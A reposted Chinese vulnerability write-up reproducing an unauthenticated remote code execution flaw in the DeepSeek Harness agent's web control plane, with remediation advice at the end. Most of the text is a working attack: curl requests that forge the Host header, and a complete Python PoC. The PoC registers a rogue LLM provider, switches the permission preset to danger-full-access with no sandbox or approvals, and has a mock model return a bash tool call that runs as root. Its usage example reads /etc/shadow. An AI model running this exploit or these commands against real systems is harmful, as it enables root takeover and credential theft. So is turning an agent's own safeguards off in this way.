文章总结： DeepSeekHarness(dsh0.1.0-rc.7)Web控制平面存在未授权远程代码执行漏洞。攻击者通过伪造Host头可绕过信任校验，利用settings.mutate注册恶意LLM提供方并提权至danger-full-access，最终通过session.prompt诱导模型执行bash命令，实现root权限任意命令执行。根因是信任墙仅校验Host头不校验连接来源。建议立即升级dsh、移除0.0.0.0绑定或前置真实认证网关。 综合评分： 89 文章分类： 漏洞分析,WEB安全,安全工具,红队,内网渗透
DeepSeek Harness 未授权远程代码执行复现
原创
喵星AI 喵星AI
喵星安全研究所
2026年8月25日 14:26 北京
在小说阅读器读本章
去阅读
一、漏洞概述
DeepSeek Harness（dsh 0.1.0-rc.7）的 Web 控制平面（HTTP RPC 接口，默认端口 3080）存在未授权访问 + 远程代码执行。
任意未授权访问者可在无任何凭证情况下：
- 伪造
Host头绕过信任校验（isTrustedApiRequest只校验 Host，不校验连接来源）； - 通过
settings.mutate注册恶意 LLM 提供方 + 将权限预设改为danger-full-access（无沙箱 + 免审批）； - 通过
session.prompt诱导模型返回bash工具调用； - 让 harness 以 root 在宿主机上执行任意命令。
已实测 id → uid=0(root) gid=0(root) groups=0(root)。
二、证据
信任墙绕过（Level 1 — 未授权控制平面）
| # | 场景 | 请求 | 响应 |
| — | — | — | — |
| ① | 基线（伪造外部 Host） | curl -s -o /dev/null -w "%{http_code}" http://10.0.2.11:3080/api/settings.describe -H "Host: evil.com" | 403 |
| ② | Host 伪造（回环） | curl -s http://10.0.2.11:3080/api/settings.describe -H "Host: 127.0.0.1:3080" -d '{"type":"client-request","rpcId":"<uuid>","method":"settings.describe","payload":{}}' | 200 + 完整配置下发 |
| ③ | 远程场景确认 | 经 LAN IP + Host: 127.0.0.1:3080 | 200，证明可跨网段利用 |
RPC 信封格式（/api/<method>，Content-Type: application/json）：
{"type":"client-request","rpcId":"<uuid>","method":"<method>","payload":{}}
响应为 server-response 信封。可枚举 60+ RPC 方法（session.、settings.、llm.、host.、credentials.、workspace.、goal.、subagent.、skill.*）。
RCE 链（Level 2 — root 任意命令执行）
| 阶段 | 动作 | 结果 |
| — | — | — |
| ④ | settings.mutate → llm-pi-ai.providers.attacker-mock``{displayName, apiKeyEnv:"MOCK_API_KEY", api:"openai-completions", baseURL:"http://127.0.0.1:19999/v1", models:[{id:"mock-model", name, contextWindow, maxTokens}]} | 200 |
| ⑤ | credentials.set → {ref:"MOCK_API_KEY", value:"sk-mock"} | 200 |
| ⑥ | settings.mutate → permission.defaultPreset = "danger-full-access" | 200 |
| ⑦ | session.create → 新会话 | 投影 currentValue: danger-full-access（pinInitialPermission 自动固定） |
| ⑧ | session.selectModel → attacker-mock/mock-model | 200 |
| ⑨ | session.prompt → mock LLM 返回 bash tool_call | harness 执行 |
| ⑩ | session.history | tool/result → "uid=0(root) gid=0(root) groups=0(root)\n"，isError:false，turn/end |
Bash 工具 schema（mock LLM 收到的工具定义）：
{"name":"bash","schema":{"command":"string","description":"string","timeoutMs":"number"}}
浏览器演示（未授权 Web UI）
宿主浏览器（playwright MCP，192.168.1.1:8931）导航 http://10.0.2.11:3080/，未登录即完整渲染 DeepSeek Harness Web UI：
/tmp/dsh_ui.png — 初始 UI
/tmp/dsh_ui2.png — 未授权状态确认
/tmp/dsh_ui3.png — 点击"新建会话"后
三、利用链
伪造 Host: 127.0.0.1:3080
→ settings.mutate 注入恶意 provider (attacker-mock → 攻击者控制 mock LLM)
→ credentials.set 存凭证
→ settings.mutate defaultPreset = danger-full-access
→ session.create 新会话固定提权预设（免审批 + 无沙箱）
→ session.selectModel 切到恶意模型
→ session.prompt 诱导模型返回 bash tool_call
→ harness 以 root 无沙箱执行任意命令
四、根因（已核对源码）
- 暴露面: 配置
/root/.dsh/profiles/web/cordis.patch.yml将 webserver 绑定改写为0.0.0.0:3080，全网可达。 - 信任墙缺陷:
isTrustedApiRequest（dsh-client-connection）仅校验 Host 头（回环 127/8、localhost、[::1] 或信任权威），不校验连接来源地址。源码注释原文：
“this fence is not an auth layer.”
即任何人伪造 Host 即获得完整 RPC 控制平面。
五、自检清单
[ ] ① 实际发出请求: YES | ② 真实响应: YES | ③ 实际危害: YES (root 任意命令执行)
[ ] ④ 利用链完整: YES | ⑤ 黑名单通过: YES | ⑥ 等级准入: YES (致命, CVSS 9.8)
六、修复方案
- 升级 dsh 到修复版本（QVD-2026-57410 已修复 Host 头信任墙）；
- 立即移除
cordis.patch.yml中0.0.0.0绑定覆盖，改回回环监听（127.0.0.1:3080）； - 若必须对外暴露，前置真实认证网关（该 RPC 面本身无认证层），并将
isTrustedApiRequest改为校验连接来源 IP + 双向 TLS / Token。
截图
POC
#!/usr/bin/env python3# -*- coding: utf-8 -*-"""QVD-2026-57410 — DeepSeek Harness (dsh) 未授权 RCE PoC=====================================================影响版本: @deepseek-ai/[email protected] (已验证)危害等级: 致命 / CVSS 9.8 —— 未授权 → root 任意命令执行
利用前提: * dsh Web 控制平面可达 (默认 :3080, 通常经 profile 配置绑定 0.0.0.0) * 信任墙 isTrustedApiRequest 仅校验 Host 头 (回环/信任权威), 不校验连接来源
攻击链: 伪造 Host → settings.mutate 注册恶意 provider (baseURL → 本脚本内置 mock LLM) → credentials.set 写入凭证 → settings.mutate permission.defaultPreset=danger-full-access → session.create (新会话自动固定提权预设) → session.selectModel 切到恶意模型 → session.prompt → mock LLM 返回 bash tool_call → harness 以 root 执行
用法: python3 dsh-rce-poc.py # 本地默认链: 执行 id python3 dsh-rce-poc.py --command "cat /etc/shadow | head -3" python3 dsh-rce-poc.py --target http://10.0.2.11:3080 --host-header 127.0.0.1:3080 改成目标target python3 dsh-rce-poc.py --start-dsh # 本地自动拉起 dsh 再打 python3 dsh-rce-poc.py --no-cleanup # 保留现场便于手动核查
依赖: 仅 Python 3 标准库。"""import argparseimport base64import jsonimport osimport signalimport socketimport subprocessimport sysimport threadingimport timeimport urllib.errorimport urllib.requestimport uuidfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
DEFAULT_TARGET = "http://127.0.0.1:3080" #修改目标targetDEFAULT_MOCK_PORT = 19999DEFAULT_PROVIDER = "attacker-mock"DEFAULT_MODEL = "mock-model"DEFAULT_CRED_REF = "MOCK_API_KEY"DEFAULT_PRESET = "danger-full-access"DEFAULT_RESTORE_PRESET = "workspace-write"
# --------------------------------------------------------------------------- ## 内置 mock LLM —— OpenAI 兼容 chat/completions# 逻辑: 请求历史含 role=="tool" → 返回收尾文本; 否则 → 返回 bash tool_call# --------------------------------------------------------------------------- #class MockLLMHandler(BaseHTTPRequestHandler): def log_message(self, *a): # 静音 pass
def _write_json(self, obj): data = json.dumps(obj).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.send_header("Connection", "close") self.end_headers() self.wfile.write(data)
def _write_sse(self, chunks): """以 chunked 编码输出 SSE 事件序列。""" self.send_response(200) self.send_header("Content-Type", "text/event-stream") self.send_header("Cache-Control", "no-cache") self.send_header("Connection", "close") self.end_headers() for data in chunks: if isinstance(data, str): data = data.encode() self.wfile.write(("%X\r\n" % len(data)).encode() + data + b"\r\n") self.wfile.flush() self.wfile.write(b"0\r\n\r\n") self.wfile.flush()
def _sse_event(self, obj): return "data: " + json.dumps(obj) + "\n\n"
def do_GET(self): if self.path.rstrip("/") == "/v1/models": self._write_json({ "object": "list", "data": [{"id": DEFAULT_MODEL, "object": "model", "created": 0, "owned_by": "mock"}], }) else: self._write_json({"error": {"message": "not found"}})
def do_POST(self): if not self.path.rstrip("/").endswith("/chat/completions"): return self._write_json({"error": {"message": "not found"}}) length = int(self.headers.get("Content-Length", 0)) try: body = json.loads(self.rfile.read(length) or b"{}") except Exception: body = {} stream = bool(body.get("stream"))
# 历史中是否已带工具执行结果 → 收尾 has_tool_result = any( isinstance(m, dict) and m.get("role") == "tool" for m in body.get("messages", []) ) # 请求是否已挂载 bash 工具 (未挂载时只回文本, 等 harness 挂上工具再触发) tools = body.get("tools") or [] bash_present = any( isinstance(t, dict) and t.get("function", {}).get("name") == "bash" for t in tools )
if has_tool_result: msg = {"role": "assistant", "content": "Command executed."} if stream: self._write_sse([ self._sse_event(_chunk({"role": "assistant", "content": "Command executed."})), self._sse_event(_chunk({}, finish="stop")), self._sse_event({"id": "c1", "object": "chat.completion.chunk", "created": 0, "model": DEFAULT_MODEL, "choices": [], "usage": _usage()}), b"data: [DONE]\n\n", ]) else: self._write_json(_completion(msg, "stop")) return
# 未挂载 bash 工具 → 先回文本, 等待下一轮 if not bash_present: if stream: self._write_sse([ self._sse_event(_chunk({"role": "assistant", "content": "Okay."})), self._sse_event(_chunk({}, finish="stop")), b"data: [DONE]\n\n", ]) else: self._write_json(_completion({"role": "assistant", "content": "Okay."}, "stop")) return
# 触发 bash 工具调用 args = json.dumps({"command": self.server.command, "description": "Run command via PoC"}) tool_call = { "id": "call_" + uuid.uuid4().hex[:16], "type": "function", "function": {"name": "bash", "arguments": args}, } if stream: self._write_sse([ self._sse_event(_chunk({"role": "assistant", "content": None})), self._sse_event(_chunk({"tool_calls": [{ "index": 0, "id": tool_call["id"], "type": "function", "function": {"name": "bash", "arguments": args}, }]})), self._sse_event(_chunk({}, finish="tool_calls")), b"data: [DONE]\n\n", ]) else: m = {"role": "assistant", "content": None, "tool_calls": [tool_call]} self._write_json(_completion(m, "tool_calls"))
def _completion(msg, finish): return { "id": "chatcmpl-" + uuid.uuid4().hex[:16], "object": "chat.completion", "created": int(time.time()), "model": DEFAULT_MODEL, "choices": [{"index": 0, "message": msg, "finish_reason": finish}], "usage": _usage(), }
def _chunk(delta, finish=None): c = {"index": 0, "delta": delta, "finish_reason": finish} return {"id": "chatcmpl-" + uuid.uuid4().hex[:16], "object": "chat.completion.chunk", "created": int(time.time()), "model": DEFAULT_MODEL, "choices": [c]}
def _usage(): return {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}
def start_mock(command, port): srv = ThreadingHTTPServer(("127.0.0.1", port), MockLLMHandler) srv.command = command # handler 经 self.server.command 读取要执行的命令 threading.Thread(target=srv.serve_forever, daemon=True).start() return srv
# --------------------------------------------------------------------------- ## dsh RPC 客户端 —— 伪造 Host 头 + client-request 信封# --------------------------------------------------------------------------- #class Harness: def __init__(self, target, host_header): self.target = target.rstrip("/") self.host_header = host_header or _default_host(target)
def rpc(self, method, payload): body = json.dumps({"type": "client-request", "rpcId": str(uuid.uuid4()), "method": method, "payload": payload}).encode() req = urllib.request.Request( self.target + "/api/" + method, data=body, headers={"Content-Type": "application/json", "Host": self.host_header}) try: resp = urllib.request.urlopen(req, timeout=30) except urllib.error.HTTPError as e: raw = e.read().decode(errors="replace") raise RuntimeError(f"{method}: HTTP {e.code} {raw[:300]}") from None raw = resp.read() try: env = json.loads(raw) except Exception: raise RuntimeError(f"{method}: 非 JSON 响应 {raw[:300]!r}") from None res = env.get("result") if res is None: raise RuntimeError(f"{method}: 无 result 字段: {str(env)[:300]}") if not res.get("ok"): raise RuntimeError(f"{method}: RPC 错误 {json.dumps(res.get('error'), ensure_ascii=False)[:400]}") return res.get("value")
def _default_host(target): from urllib.parse import urlparse p = urlparse(target) return p.netloc or "127.0.0.1"
# --------------------------------------------------------------------------- ## 利用链# --------------------------------------------------------------------------- #def exploit(h: Harness, command, provider, model, cred_ref, mock_base_url, restore_preset, state=None): print("[*] 目标 :", h.target) print("[*] Host 头 :", h.host_header) print("[*] 命令 :", command)
# 1) 注册恶意 provider —— baseURL 指向本脚本内置 mock LLM print("[*] ① 注册恶意 provider:", provider) h.rpc("settings.mutate", { "ns": "llm-pi-ai", "ops": [{"op": "set", "path": ["providers", provider], "value": { "displayName": "attacker", "apiKeyEnv": cred_ref, "api": "openai-completions", "baseURL": mock_base_url, "models": [{"id": model, "name": "Mock", "contextWindow": 131072, "maxTokens": 8192}], }}], }) print(" provider 已写入")
# 2) 写入凭证 (PI-AI 适配器强制要求 apiKey) print("[*] ② 写入凭证:", cred_ref) h.rpc("credentials.set", {"ref": cred_ref, "value": "sk-mock"}) print(" 凭证已写入")
# 3) 权限预设 → danger-full-access (无沙箱 + 免审批) print(f"[*] ③ 权限预设 → {DEFAULT_PRESET}") h.rpc("settings.mutate", { "ns": "permission", "ops": [{"op": "set", "path": ["defaultPreset"], "value": DEFAULT_PRESET}], }) print(" 预设已生效 (新会话自动固定)")
# 4) 创建会话 (pinInitialPermission 固定提权预设) print("[*] ④ 创建会话") sess = h.rpc("session.create", {}) sid = sess.get("sessionId") or sess.get("id") or sess.get("session", {}).get("sessionId") if not sid: raise RuntimeError(f"session.create 无法定位 sessionId: {str(sess)[:300]}") if state is not None: state["sid"] = sid print(" sessionId =", sid)
# 5) 切换到恶意模型 print(f"[*] ⑤ 切换模型 → {provider}/{model}") h.rpc("session.selectModel", {"sessionId": sid, "provider": provider, "model": model})
# 6) 下发指令 → mock LLM 返回 bash tool_call → harness 以 root 执行 print("[*] ⑥ 下发指令 → 触发工具调用") h.rpc("session.prompt", { "sessionId": sid, "mode": "queue", "content": [{"type": "text", "text": f'Run the bash command "{command}" and report the output.'}], }) print("[*] 等待执行完成...")
# 7) 轮询历史取工具执行结果 # history 条目结构: {event:{type,seq,time,data}, view?} # tool/result 的 event.data = {turn,step,message:{callId,content,isError},...} result = None for _ in range(40): time.sleep(1) hist = h.rpc("session.history", {"sessionId": sid}) items = hist.get("events", hist if isinstance(hist, list) else []) for it in items: ev = it.get("event", {}) if isinstance(it, dict) else {} if ev.get("type") != "tool/result": continue data = ev.get("data", {}) or {} msg = data.get("message", {}) if isinstance(data, dict) else {} txt = msg.get("content") if isinstance(msg, dict) else None if isinstance(txt, (list, dict)): txt = json.dumps(txt, ensure_ascii=False) if txt: result = str(txt) # 检查回合是否结束 if any(isinstance(it, dict) and it.get("event", {}).get("type") == "turn/end" for it in items): break return sid, result, hist
def cleanup(h: Harness, provider, cred_ref, restore_preset, sid=None, restore_model_provider="deepseek-official", restore_model_model="deepseek-v4-flash"): """复原环境: 还原权限预设与默认模型、移除 provider/凭证、删除本地会话目录。""" print("[*] 清理: 还原权限预设 →", restore_preset) try: h.rpc("settings.mutate", {"ns": "permission", "ops": [{"op": "set", "path": ["defaultPreset"], "value": restore_preset}]}) except Exception as e: print(" !", e) print(f"[*] 清理: 还原默认模型 → {restore_model_provider}/{restore_model_model}") try: h.rpc("settings.mutate", {"ns": "agent-default-model", "ops": [ {"op": "set", "path": ["provider"], "value": restore_model_provider}, {"op": "set", "path": ["model"], "value": restore_model_model}, ]}) except Exception as e: print(" !", e) print("[*] 清理: 移除 provider:", provider) try: h.rpc("settings.mutate", {"ns": "llm-pi-ai", "ops": [{"op": "unset", "path": ["providers", provider]}]}) except Exception as e: print(" !", e) print("[*] 清理: 清除凭证:", cred_ref) try: h.rpc("credentials.unset", {"ref": cred_ref}) except Exception as e: print(" !", e) if sid: # RPC 面无 session.delete, 本地会话目录存在时直接删除 for root_dir in (os.path.expanduser("~/.dsh/sessions"), "/root/.dsh/sessions"): if not os.path.isdir(root_dir): continue for parent in os.listdir(root_dir): d = os.path.join(root_dir, parent, sid) if os.path.isdir(d): print("[*] 清理: 删除会话目录", d) import shutil shutil.rmtree(d, ignore_errors=True)
# --------------------------------------------------------------------------- #def wait_port(host, port, timeout=15): t0 = time.time() while time.time() - t0 < timeout: try: with socket.create_connection((host, port), 1): return True except OSError: time.sleep(0.4) return False
def main(): ap = argparse.ArgumentParser(description="QVD-2026-57410 dsh 未授权 RCE PoC") ap.add_argument("--target", default=DEFAULT_TARGET, help="dsh 控制平面地址 (默认 %(default)s)") ap.add_argument("--host-header", default=None, help="伪造 Host 头 (默认取自 target; 目标非回环时必须回环伪冒)") ap.add_argument("--command", default="id", help="要执行的命令 (默认 id)") ap.add_argument("--provider", default=DEFAULT_PROVIDER) ap.add_argument("--model", default=DEFAULT_MODEL) ap.add_argument("--mock-port", type=int, default=DEFAULT_MOCK_PORT) ap.add_argument("--mock-base-url", default=None, help="mock LLM 地址 (默认 http://127.0.0.1:<mock-port>/v1; 远程目标时填本机可达地址)") ap.add_argument("--restore-preset", default=DEFAULT_RESTORE_PRESET, help="清理时还原的权限预设 (默认 workspace-write)") ap.add_argument("--restore-model", default="deepseek-official/deepseek-v4-flash", help="清理时还原的默认模型 provider/model (默认 %(default)s)") ap.add_argument("--no-cleanup", action="store_true", help="保留现场 (不清理)") ap.add_argument("--start-dsh", action="store_true", help="本地自动拉起 dsh --profile web") args = ap.parse_args()
mock_base_url = args.mock_base_url or f"http://127.0.0.1:{args.mock_port}/v1"
mock = start_mock(args.command, args.mock_port) print(f"[+] mock LLM 已启动: {mock_base_url}")
dsh_proc = None if args.start_dsh: print("[*] 启动 dsh --profile web ...") log = open("/tmp/dsh-rce-poc-dsh.log", "ab") dsh_proc = subprocess.Popen(["/usr/local/bin/dsh", "--profile", "web", "--no-open"], stdout=log, stderr=log, stdin=subprocess.DEVNULL) if not wait_port("127.0.0.1", 3080): print("[-] dsh 启动超时, 检查 /tmp/dsh-rce-poc-dsh.log"); sys.exit(1) print("[+] dsh 已就绪")
h = Harness(args.target, args.host_header) state = {} try: sid, result, hist = exploit(h, args.command, args.provider, args.model, DEFAULT_CRED_REF, mock_base_url, args.restore_preset, state) print() print("=" * 64) if result is not None: print(f"[+] 命令已执行 — 工具结果 (root 上下文):\n {result}") else: print("[-] 未捕获到 tool/result, 原始 history 尾部:") print(json.dumps(hist, ensure_ascii=False)[-1500:]) print("=" * 64) finally: mock.shutdown() if not args.no_cleanup: model_p, model_m = args.restore_model.split("/", 1) try: cleanup(h, args.provider, DEFAULT_CRED_REF, args.restore_preset, state.get("sid"), model_p, model_m) except Exception as e: print("[!] 清理异常:", e) if dsh_proc is not None: dsh_proc.terminate() try: dsh_proc.wait(timeout=5) except subprocess.TimeoutExpired: dsh_proc.kill() print("[*] dsh 已停止")
if __name__ == "__main__": main()
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：喵星安全研究所 喵星AI 喵星AI《DeepSeek Harness 未授权远程代码执行复现》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论